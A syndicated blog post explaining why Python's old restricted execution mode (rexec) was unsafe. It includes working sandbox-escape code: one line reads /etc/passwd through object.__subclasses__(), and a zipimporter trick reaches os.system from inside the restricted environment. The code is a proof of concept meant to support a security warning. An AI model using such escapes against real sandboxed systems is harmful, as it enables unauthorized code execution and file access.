This post originated from an RSS feed registered with Python Buzz
by Andrew Dalke.
Original Post: Restricted python
Feed Title: Andrew Dalke's writings
Feed URL: http://www.dalkescientific.com/writings/diary/diary-rss.xml
Feed Description: Writings from the software side of bioinformatics and chemical informatics, with a heaping of Python thrown in for good measure.
Long time ago there was the thought that Python could support a
restricted execution mode, where untrusted code could be executed with
limited capabilities. Quoting from the Python
2.2.3 manual:
There exists a class of applications for which this "openness'" is
inappropriate. Take Grail: a Web browser that accepts "applets,''
snippets of Python code, from anywhere on the Internet for execution
on the local system. This can be used to improve the user interface of
forms, for instance. Since the originator of the code is unknown, it
is obvious that it cannot be trusted with the full resources of the
local machine.
Restricted execution is the basic framework in Python that allows for
the segregation of trusted and untrusted code. It is based on the
notion that trusted Python code (a supervisor) can create a ``padded
cell' (or environment) with limited permissions, and run the untrusted
code within this cell. The untrusted code cannot break out of its
cell, and can only interact with sensitive system resources through
interfaces defined and managed by the trusted code.
Warning: In Python 2.3 these modules have been disabled due to various
known and not readily fixable security holes. The modules are still
documented here to help in reading old code that uses the rexec and
Bastion modules.
There were a lot of tricks to get around the problem. Over time the
simple ones were patched but the problem is the Python C
implementation (and probably the Java and .Net ones) weren't designed
with security in mind. It's very hard to retrofit security.
Some of the restricted environment code stayed in Python. Here's a
snippet from the CVS version just before 2.6a1.
/* rexec.py can't stop a user from getting the file() constructor --
all they have to do is get *any* file object f, and then do
type(f). Here we prevent them from doing damage with it. */
if (PyEval_GetRestricted()) {
PyErr_SetString(PyExc_IOError,
"file() constructor not accessible in restricted mode");
f = NULL;
goto cleanup;
}
The PyEval_GetRestricted() test checks to see if __builtins__ for the
current frame is the same as Python's globals. If not, it's a
restricted environment. Here's an example of the same code run in
each environment:
>>> exec """print [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'file'][0]('/etc/passwd').read()[:60]"""
##
# User Database
#
# Note that this file is consulted whe
>>> L = G = dict(__builtins__ = {})
>>> exec """print [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'file'][0]('/etc/passwd').read()[:60]""" in L, G
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "&tl;string>", line 1, in <module>
IOError: file() constructor not accessible in restricted mode
>>>
Today I saw the recently contributed Python Cookbook Recipe which "create[s]
a restricted python function from a string." Sounds nice so I
looked at it. It basically uses what's left of the old rexec code,
which is know to be untrustworthy for the general case.
For the person who posted the code it's probably good enough, but the
recipe doesn't include the strong warnings I thought were needed. I
added a comment, and to strengthen the comment decided to come up with
an attack using the default recipe and without using any passed in
variables.
I came close. If I know the location of an egg which has already been
loaded and which contains a reference to the 'os' module then I can
get access to os.system through the zipimporter type. One such common
module is 'configobj'.
# Example attack code using the zipimport type to get around Python's
# restricted mode checks.
# Must import this otherwise zipimporter will fail because zlib can't
# be found. (Reading another zip file fixes that, but then the import
# fails because it can't find __import__)
import configobj
attack_code = """
all_types = ().__class__.__bases__[0].__subclasses__()
file = [x for x in all_types if x.__name__ == "file"][0]
# Prove that I'm in restricted mode, or that I'm running
# on a non-unix-based machine. This stop is optional
try:
file("/dev/zero")
except:
pass
else:
assert "Was able to open a file!"
1/0
zipimport = [x for x in all_types if x.__name__ == "zipimporter"][0]
# Easiest case would be on a system with a python*.zip file
# because I could import os directly this way.
egg = ("/Library/Frameworks/Python.framework/Versions/2.5/lib/"
"python2.5/site-packages/configobj-4.4.0-py2.5.egg")
loader = zipimport(egg)
configobj = loader.load_module("configobj")
os = configobj.os
print "system call:", os.system("ls")
"""
L = G = dict(__builtins__ = {})
exec attack_code in L, G
This contains comments and some code to verify that I'm really running
in restricted mode. Take that out and the attack code is an
expression that doesn't need to be exec'ed and which doesn't use any
passed in variables.
[x for x in ().__class__.__bases__[0].__subclasses__()
if x.__name__ == "zipimporter"][0](
"/Library/Frameworks/Python.framework/Versions/2.5/lib/"
"python2.5/site-packages/configobj-4.4.0-py2.5.egg").load_module(
"configobj").os.system("ls")
I considered reporting this as a bug to the Python maintainers, in
case there was thought to slowly patch problems like this, but then
noticed Python 3's "NEWS" file says
- Remove the f_restricted attribute from frames. This naturally leads to the
removal of PyEval_GetRestricted() and PyFrame_IsRestricted().
Goodbye and good riddance. It won't confuse people into thinking it
does something useful when it doesn't.